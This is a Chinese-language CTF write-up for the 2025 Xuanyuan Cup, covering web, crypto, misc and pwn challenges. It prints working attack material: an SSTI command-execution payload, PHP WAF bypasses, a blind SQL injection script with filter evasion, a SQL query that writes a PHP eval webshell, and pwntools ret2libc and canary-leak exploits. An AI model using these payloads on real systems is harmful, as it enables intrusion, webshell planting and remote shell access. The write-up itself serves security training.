WEB

ezjs

image-20250520123633208

import requests
url="http://27.25.151.26:53243/getflag.php"
payload="score=100000000000"
headers={'Content-Type': 'application/x-www-form-urlencoded'}
response=requests.post(url,data=payload,headers=headers).text
print(response)

image-20250520123558082

flag{4b965560-f820-498b-9509-8f5b83c92548}

ezflask

尝试后发现过滤了.popen,小数点用[""]绕过就好

name={{()["__class__"]["__base__"]["__subclasses__"]()[133]["__init__"]["__globals__"]["po""pen"]('tail /fla?')["read"]()}}

注意这里读的文件也被过滤了一些,tail能出来

image-20250520134806691

flag{0417628b-f8f8-4469-a38c-a3dc22765497}

ezssrf1.0

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";

扫目录访问flag后得到flag的位置为FFFFF11111AAAAAggggg.php

image-20250520175558817

flag{1dbacde0-f732-41d6-883e-a720ef32b4df}

签到(复现)

第一关

image-20250520142321241

/l23evel4.php

第二关

if (is_string($password) && preg_match('/^\d+$/', $password)) { echo "纯数字是不行的哦!"; exit; }

尝试了八进制绕过,结果不对,最后发现不是传2025进去,是直接传password=2025year

我真没想到这个,以为是传数字进去

image-20250520175824922

/levelThree.php

第三关

<?php
error_reporting(0);

// 判断 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

if (strpos($referer, 'secretcode') !== false) {
// 进一步要求POST参数
if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
echo file_get_contents('./xixi.txt');
} else {
echo "Referer对了,但是POST参数呢?";
}
} else {
echo "你缺少正确的Referer头~";
}
?>
Referer:secretcode
POST:key=ctfpass

image-20250520180230165

/level444Four.php

第四关

image-20250520181028852

提示要用HEAD方法,这种方法只会返回请求头信息,不会返回请求体。


尝试挺久还是没出来,赛后才知道是向UA中传入参数对(比赛的时候只往UA传了参数值。。。)

image-20250521184425455

/level4545Five.php

第五关

<script>
(function(){
var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C'];
var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4];
var code = '';
for (var i = 0; i < order.length; i++) {
code += a[order[i]];
}
console.log("Your hidden key is:", code);
})();

</script>

写个相同的python脚本来跑下key

a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C']
order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4]
key=''
for i in range(len(order)):
key+=a[order[i]]
print("key="+key)
#key=W3lC0E_CtF

image-20250521185211485

/zzpufinish.php

第六关

image-20250521185943413

直接nl读就行

flag{1638bdf0-0a0a-4ab6-9fb8-644f79a81383}

ezrce(复现)

<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);

$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);

if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>

对num没啥要求,主要是防火墙有点多


赛后复现发现至少两种方法

直接读取

readgzfile函数,直接利用这个函数就能读取根目录下flag了

f72988a48416f9ed821140eeb6ea8445

命名空间

使用\system,后面就能正常执行命令了

这里的\作为命名空间分隔符,则\system当作命名空间system,而不是禁用的system()函数,从而调用该函数执行命令

image-20250521184247329

flag{5cfec044-9296-41b6-ac85-b88f9e41a42a}

ezsql1.0(复现)

测试发现过滤了空格,通过布尔盲注可测出来库名为ctf,但是到表名就一直出不来


赛后看到师傅说是过滤了空格和select,奇奇怪怪的,过滤select那为啥我脚本能跑出来select database(),双写绕过之后也是成功跑出来了。

布尔盲注

但是直接跑不行,flag不在当前的ctf库中,所以要先爆全部库名

import requests

database_payload = "1/**/and/**/(ascii(substr((selselectect/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid})#"
table_payload = "1/**/and/**/(ascii(substr((selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='{database}'),{{i}},1))>{{mid}})#"
column_payload = "1/**/and/**/(ascii(substr((selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='{table}'),{{i}},1))>{{mid}})#"
flag_payload = "1/**/and/**/(ascii(substr((selselectect/**/group_concat({column})/**/from/**/{database}.{table}),{{i}},1))>{{mid}})#"


def get_force(url, payload_template):
find = ''
for i in range(1, 50000):
left, right = 0, 128
while left < right:
mid = (left + right) // 2
payload = {
"id": payload_template.format(i=i, mid=mid)
}
r = requests.get(url=url, params=payload).text
if word in r:
left = mid + 1
else:
right = mid
current_char = chr(left)
if current_char == '\x00':
break
find += current_char
print(f"[+] 当前结果: {find}")
print(f"[*] 最终结果: {find}")


def post_force(url, payload_template):
find = ''
for i in range(1, 50000):
left, right = 0, 128
while left < right:
mid = (left + right) // 2
payload = {
"username": payload_template.format(i=i, mid=mid),
"password": "1",
}
r = requests.post(url=url, data=payload).text
if word in r:
left = mid + 1
else:
right = mid
current_char = chr(left)
if current_char == '\x00':
break
find += current_char
print(f"[+] 当前结果: {find}")
print(f"[*] 最终结果: {find}")


if __name__ == "__main__":
url = input("请输入目标URL: ").strip()
word = input("正确回显的关键词为: ")
method = input("请求方式GET:1, POST:2\n")

if method == '1':
print("\n爆破数据库信息……")
get_force(url, database_payload)
database = input("请输入数据库名: ")
table_payload_actual = table_payload.format(database=database)
print("\n爆破表信息……")
get_force(url, table_payload_actual)
table = input("请输入表名: ")
column_payload_actual = column_payload.format(table=table)
print("\n爆破列信息……")
get_force(url, column_payload_actual)
column = input("请输入列名: ")
flag_payload_actual = flag_payload.format(column=column, table=table,database=database)
print("\n爆破flag……")
get_force(url, flag_payload_actual)

elif method == '2':
print("\n爆破数据库信息……")
post_force(url, database_payload)
database = input("请输入数据库名: ")
table_payload_actual = table_payload.format(database=database)
print("\n爆破表信息……")
post_force(url, table_payload_actual)
table = input("请输入表名: ")
column_payload_actual = column_payload.format(table=table)
print("\n爆破列信息……")
post_force(url, column_payload_actual)
column = input("请输入列名: ")
flag_payload_actual = flag_payload.format(column=column, table=table)
print("\n爆破flag……")
post_force(url, flag_payload_actual)

else:
print("输入错误,请输入1或2选择请求方式")

image-20250522104924625

image-20250522104919688

image-20250522104913055

image-20250522104907411

union注入

id=0/**/union/**/selselectect/**/1,(selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),3#
//info
id=0/**/union/**/selselectect/**/1,(selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='info'),3#
//id,title,content
id=0/**/union/**/selselectect/**/1,(selselectect/**/group_concat(content)/**/from/**/xuanyuanCTF.info),3#
//ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99
//注意这里的info前要加上库名,不然就查不出来

image-20250522104416565

sqlmap

//rep.py
# s1="0 union select 1,group_concat(table_name,'#'),3 from information_schema.tables where table_schema='xuanyuanCTF'"
# s2="0 union select 1,group_concat(column_name,'#'),3 from information_schema.columns where table_name='info'"
# s3="0 union select id,group_concat(title,':',content),3 from xuanyuanCTF.info"
# s3="0 union select id,group_concat(id,':',data),3 from ctf"
#
#id#,data#
# s3="0 union select 1,GROUP_CONCAT(SCHEMA_NAME,':'),3 from information_schema.schemata"
def tamper(payload:str, **kwargs):
payload=payload.replace(' ', '/**/')
# payload=payload.replace('select', 'seselectlect')
payload=payload.replace('SELECT', 'seselectlect')
payload=payload.replace('--','#')
print(payload)
return payload


# print(tamper(s3))
sqlmap -u "http://27.25.151.26:31155/?id=1" --tamper rep.py --technique UE  --purge --batch -D xuanyuanCTF --dump

image-20250522104053499

写马

id=0/**/union/**/selselectect/**/1,'<?=eval($_POST[123])?>',3/**/into/**/outfile/**/'/var/www/html/1.php'#

写入之后直接蚁剑连就行,

image-20250522102633739

image-20250522103501106

flag{欢迎来到轩辕杯}

1ez_web1

先通过注释登录fly233的账号,密码就是123456789

admin: 最近学Python,做了一个小系统,快来帮我看看!
fly233: 当然可以!我很乐意帮你看看。
admin: 我部署好了,直接给你注册个账号吧。先来设一下你的密码。
fly233: 我的密码改成*********就行。
admin: 你这密码也太简单了吧,别人一猜就猜到了。
fly233: 谁还会来看你的系统啊,哈哈。
admin: 你说的也对,哈哈。

上传时需要管理员并且看到有jwt,尝试伪造,但是会重定向到/login,估计是条件竞争

CRYPTO

dp

from Crypto.Util.number import long_to_bytes
from math import gcd

# Given values
n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537

# Step 1: Compute s = dp * e - 1
s = dp * e - 1

# Step 2: Choose a random base a (using a = 2 for simplicity)
a = 2

# Step 3: Compute a^s mod n
b = pow(a, s, n)

# Step 4: Compute gcd to find a factor of n
g = gcd(b - 1, n)

# Check if g is a non-trivial factor
if g == 1 or g == n:
print("Factorization failed. Try a different a.")
else:
# Step 5: Factorize n into p and q
p = g
q = n // p

# Step 6: Compute φ(n)
phi = (p - 1) * (q - 1)

# Step 7: Compute private exponent d
d = pow(e, -1, phi)

# Step 8: Decrypt the ciphertext
m = pow(c, d, n)

# Step 9: Convert plaintext integer to bytes
flag = long_to_bytes(m)
print("Decrypted message:", flag.decode())

flag{C5G0_1s_the_8eSt_FPS_G@m3}

简单编码

首先肯定是对应01的,将A作为1,B作为0,得到二进制,写个脚本得到ASCII字符

binary_str = "1001100 1001010 1010111 1010110 1000011 1001101 1010011 1001111 1001110 1001010 1000111 1011000 1010011 1010100 1010011 1001000 1001011 1010101 1011010 1000111 1000101 1010010 1000011 1010010 1000111 1001010 1001101 1010111 1010101 110010 1000100 1001101 1001010 110101 1000011 1000110 1001101 110010 1010011 1001110 1000111 1001010 1001011 1010100 1000101 1010100 1001100 1001011 1001010 1001010 1010111 1000101 110100 1010010 110010 1010111 1001110 1000010 1000111 1010101 1001111 1010110 1010100 1001001 1001010 110101 1001011 1000101 1000101 110011 1000011 1001111 1010000 1001010 1010100 1011000 1001111 1010111 1010100 1001011 1001001 1010101 1011010 1010101 110100 1010010 1000011 1000010 1000111 1010110 1001000 1010110 1001111 1011010 1000100 1001011 1001010 1010101 1011010 1000101 1001101 110010 1010011 1011010 1000111 1001010 1000101 1011000 1010001 1010100 1010011 1001000 1001011 1011010 1010101 1000110 1010011 1001101 1010011 1011010 1000111 1001010 1001000 1000100 1000101 1010011 1001010 1010101 1001101 1011010 1001101 1001000 1000111 1001101 1000011 1001111 1001011 1010010 1001011 1011000 1010101 1010100 1010100 110010 1001110 1000010 1010101 1000101 110010 1010101 1001010 1000110 1000111 1001110 1000011 1000011 1001011 1001101 110010 1000101"

# 分割二进制字符串并处理每组
result = []
for group in binary_str.split():
# 补足7位(前导补零)
padded_group = group.zfill(7)
# 转换为十进制
decimal = int(padded_group, 2)
# 转换为ASCII字符
result.append(chr(decimal))

# 合并结果并输出
final_string = ''.join(result)
print("转换结果:")
print(final_string)

# 可选:过滤非打印字符(ASCII 32-126)
print("\n过滤非打印字符后:")
print(''.join(c if 32 <= ord(c) <= 126 else '' for c in final_string))

获得LJWVCMSONJGXSTSHKUZGERCRGJMWU2DMJ5CFM2SNGJKTETLKJJWE4R2WNBGUOVTIJ5KEE3COPJTXOWTKIUZU4RCBGVHVOZDKJUZEM2SZGJEXQTSHKZUFSMSZGJHDESJUMZMHGMCOKRKXUTT2NBUE2UJFGNCCKM2E

image-20250521123828265

然后随波逐流一把梭

image-20250521123840338

flag{c04d6e34aab689c5c0e68eb51753c843e032efa7c16427f8642ee07ab946e981}

DIladila

实际上代码中使用了16位×2的分组结构,即每个块是32位(4字节),密钥是4个16位的轮密钥,共64位。

给定的代码中,定义了rol(循环左移)、ror(循环右移)、speck_round(轮函数)、encrypt_block(加密一个块)、str_to_blocks(将字符串转换为块)等函数。加密过程是对每个块应用4轮speck_round,使用固定的4个轮密钥。

现在,题目给出了8个密文块对,每个对是两个16位整数(用十进制表示),并且提示这些是加密后的密文。需要解密这些密文块以恢复原始明文,即flag。

由于Speck是一个对称密钥算法,解密过程应该与加密过程类似,只是轮密钥的应用顺序相反。

def rol(val, r_bits, max_bits=16):
"""循环左移函数"""
return ((val << r_bits) & (2**max_bits - 1)) | (val >> (max_bits - r_bits))

def ror(val, r_bits, max_bits=16):
"""循环右移函数"""
return (val >> r_bits) | ((val << (max_bits - r_bits)) & (2**max_bits - 1))

def speck_round_inv(x_new, y_new, k):
"""Speck 算法的逆轮函数"""
y = ror(y_new ^ x_new, 2)
x = rol(((x_new ^ k) - y) % (1 << 16), 7)
return x, y

def decrypt_block(cx, cy, keys):
"""解密一个密文块"""
x, y = cx, cy
for k in reversed(keys):
x, y = speck_round_inv(x, y, k)
return x, y

def decrypt_ciphertext(ciphertext, keys):
"""解密所有密文块并转换为字节"""
plaintext_blocks = []
for cx, cy in ciphertext:
x, y = decrypt_block(cx, cy, keys)
plaintext_blocks.append(x.to_bytes(2, 'little') + y.to_bytes(2, 'little'))
return b''.join(plaintext_blocks)

def main():
# 定义密文块(十进制表示的 16 位整数对)
ciphertext = [
(57912, 19067),
(38342, 34089),
(16842, 41652),
(30292, 50979),
(9137, 57458),
(29822, 64285),
(33379, 14140),
(16514, 4653)
]

# 定义轮密钥(16 进制表示)
keys = [0x1234, 0x5678, 0x9abc, 0xdef0]

# 解密密文
plaintext_bytes = decrypt_ciphertext(ciphertext, keys)

# 去除可能的填充字节
plaintext_bytes = plaintext_bytes.rstrip(b'\x00')

# 将字节解码为 UTF-8 字符串
plaintext = plaintext_bytes.decode('utf-8')

print("解密后的明文:")
print(plaintext)

if __name__ == "__main__":
main()

image-20250521163204227

flag{You_DIladila_Crypto_Matser}

Easy_rsa

img

def mod_inverse(a, m):
"""计算模逆:返回 a 模 m 的逆元"""
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y

gcd, x, _ = extended_gcd(a, m)
if gcd != 1:
raise ValueError("模逆不存在")
return (x % m + m) % m

def rsa_decrypt(e, n, c, p, q):
"""RSA 解密函数"""
# 验证 p 和 q 是否正确
if p * q != n:
raise ValueError("p 和 q 的乘积不等于 n")

# 计算 phi(n) = (p-1)(q-1)
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = mod_inverse(e, phi)

# 解密:m = c^d mod n
m = pow(c, d, n)

return m

def number_to_flag(m):
"""将数字转换为 ASCII 字符串"""
# 将数字转换为字节
m_bytes = []
while m > 0:
m_bytes.append(m % 256)
m = m // 256
m_bytes = m_bytes[::-1] # 反转字节顺序

# 转换为 ASCII
flag = ''.join(chr(b) for b in m_bytes)
return flag

def main():
# 已知参数
e = 65537
n = 1000000000000000000000000000156000000000000000000000000005643
c = 418535905348643941073541505434424306523376401168593325605206
p = 1000000000000000000000000000099
q = 1000000000000000000000000000057

try:
# 解密
m = rsa_decrypt(e, n, c, p, q)
print(f"明文 (数字): {m}")

# 转换为 flag
flag = number_to_flag(m)
print(f"明文 (字符串): {flag}")

# 假设 CTF flag 格式为 flag{...}
formatted_flag = f"flag{{{flag}}}"
print(f"最终 flag: {formatted_flag}")

except ValueError as err:
print(f"错误: {err}")

if __name__ == "__main__":
main()

img

MISC

Terminal Hacker

img

1哇哇哇瓦

随波逐流先找到一半flag

image-20250520190745018

flag{Val0rant_1s_th3_

foremost分出来一个hint.txt

密码是场上存活的两位英雄的英文名字连起来(区分大小写)
什么?你不知道密码在哪用?!那我问你,隐写都知道,明写看不见?拿你瞄准时的眼力仔细观察观察图片中的角落吧

搜索得知是夜露(Yoru)、盖可(Gekko)

数据识别与审计

图片

图片的比较方便,杀毒软件跑一下就可以了

image-20250520211930666

a4ijc0fu.png
b7aykkl9.png
lhf82t3d.png
sofhifed.png
wxrozxe3.png

txt

txt文本写个脚本

import os
import glob

def combine_txt_files(input_folder, output_file):
"""
将指定文件夹中的所有txt文件内容合并到输出文件中
格式:文件名: 文件内容
"""
# 获取所有txt文件的路径列表
txt_files = glob.glob(os.path.join(input_folder, '*.txt'))

with open(output_file, 'w', encoding='utf-8') as out_f:
for file_path in txt_files:
# 提取纯文件名
filename = os.path.basename(file_path)

try:
# 读取文件内容
with open(file_path, 'r', encoding='utf-8') as in_f:
content = in_f.read().strip()

# 写入格式化内容
out_f.write(f"{filename}: {content}\n")

except UnicodeDecodeError:
print(f"编码错误,跳过文件: {filename}")
except Exception as e:
print(f"处理 {filename} 时发生错误: {str(e)}")

if __name__ == "__main__":
# 使用示例
INPUT_FOLDER = "D:/2025第一届轩辕杯附件/杂项/数据识别审计/数据审计/txt" # 要读取的文件夹路径
OUTPUT_FILE = "combined.txt" # 输出文件路径

combine_txt_files(INPUT_FOLDER, OUTPUT_FILE)
print(f"合并完成!结果保存在 {OUTPUT_FILE}")

写在一个文件很容易(实则不然,提取出来发现3000多行)发现以下文件名有问题(通过找数字,或者搜号这个字来找)

T0BPOXDY.txt: 我的家庭地址是南京江北区金融大道35号,你们发的地址对吗?
Me4CoMw7.txt: 请将发票,发送到我的邮箱,wanglili@gmail.com。
gWa0DiTs.txt: 这个商城平台竟然将我的手机号19724837916,泄露给了商家!
FiBRFFnG.txt: 客服竟然知道了我的身份证号410526199804052000。
9h0zQJok.txt: 我的地址是郑州市金水区园田路999号院,客服竟然给我写成了西安市。

wav

随便先找两个发现没声音,那就直接初筛文件大小,找到如下

Bd2IYe3.wav2
bjVwvcC.wav
H0KDChj.wav
UEbzH4X.wav
ou9E9Mh.wav

pdf

比赛时卡在这里了,赛后看wp知道pdf中含js代码,写个脚本检测就行

import os

folder_path = r'杂项\数据审计\pdf'

# 遍历 pdf 文件
for root, dirs, files in os.walk(folder_path):
for file in files:
if file.lower().endswith('.pdf'):
file_path = os.path.join(root, file)
try:
with open(file_path, 'rb') as f:
content = f.read()
if b"/JS" in content:
print(file)
continue
except Exception as e:
print(f"无法读取文件 {file_path}: {e}")
bVKINl.pdf
hnPRx1.pdf
mIR13t.pdf
OGoyOG.pdf
rSG2pW.pdf

最后排序为

9h0zQJok.txt,FiBRFFnG.txt,gWa0DiTs.txt,Me4CoMw7.txt,T0BPOXDY.txt,a4ijc0fu.png,b7aykkl9.png,lhf82t3d.png,sofhifed.png,wxrozxe3.png,bVKINl.pdf,hnPRx1.pdf,mIR13t.pdf,OGoyOG.pdf,rSG2pW.pdf,Bd2IYe3.wav,bjVwvcC.wav,H0KDChj.wav,ou9E9Mh.wav,UEbzH4X.wav

flag{234ed8ef5421c5e559420dbf841db68f}

1一大碗冰粉

image-20250521140117843

PWN

it_is_a_canary

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了PIE开了Canary有后门函数,两个溢出点但是溢出字节数比较少只够覆盖rbp和返回地址

漏洞函数:

unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Is it a canary?");
read(0, buf, 0x30uLL);
printf("You say: %s.", buf);
read(0, buf, 0x30uLL);
puts("What is PIE?");
return v2 - __readfsqword(0x28u);
}

先用printf泄露canary,%s会被\x00截断所以用\n覆盖\x00输出canary,用第二个read尝试覆盖vuln的返回地址的后两个字节跳转到后门函数

多尝试几次就覆盖成功了

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.26',62873)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./2.so')

#gdb.attach(io)
#sleep(3)
io.recvuntil(b'Is it a canary?')
io.sendline(b'a'*0x18)
io.recvuntil(b'a'*0x18)
canary = u64(io.recv(8))-0xa
print(hex(canary))

payload = b'a'*0x18 + p64(canary)+ p64(0) + b'\x65\x52'

io.send(payload)

io.interactive()

lllibc

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

简单的libc

libc版本:libc database search

exp:

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.26',29389)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io=process('./pwn')

elf = ELF('./pwn')
libc = ELF('./1.so')

#gdb.attach(io)
#sleep(3)
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
read = elf.sym['read']
pop_rdi = 0x000000000040117e
pop_rsi = 0x0000000000401180
pop_rdx = 0x0000000000401182
ret = 0x000000000040101a
bss = 0x404040



payload = b'a'*(0x10+0x8) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(write_got) + p64(pop_rdx) + p64(0x10) + p64(write_plt) + p64(main)
io.recvuntil(b'win?\n')
io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(write_addr))
libc_base = write_addr - libc.sym['write']

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a'*(0x10+0x8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)

io.recvuntil(b'win?\n')
io.sendline(payload)


io.interactive()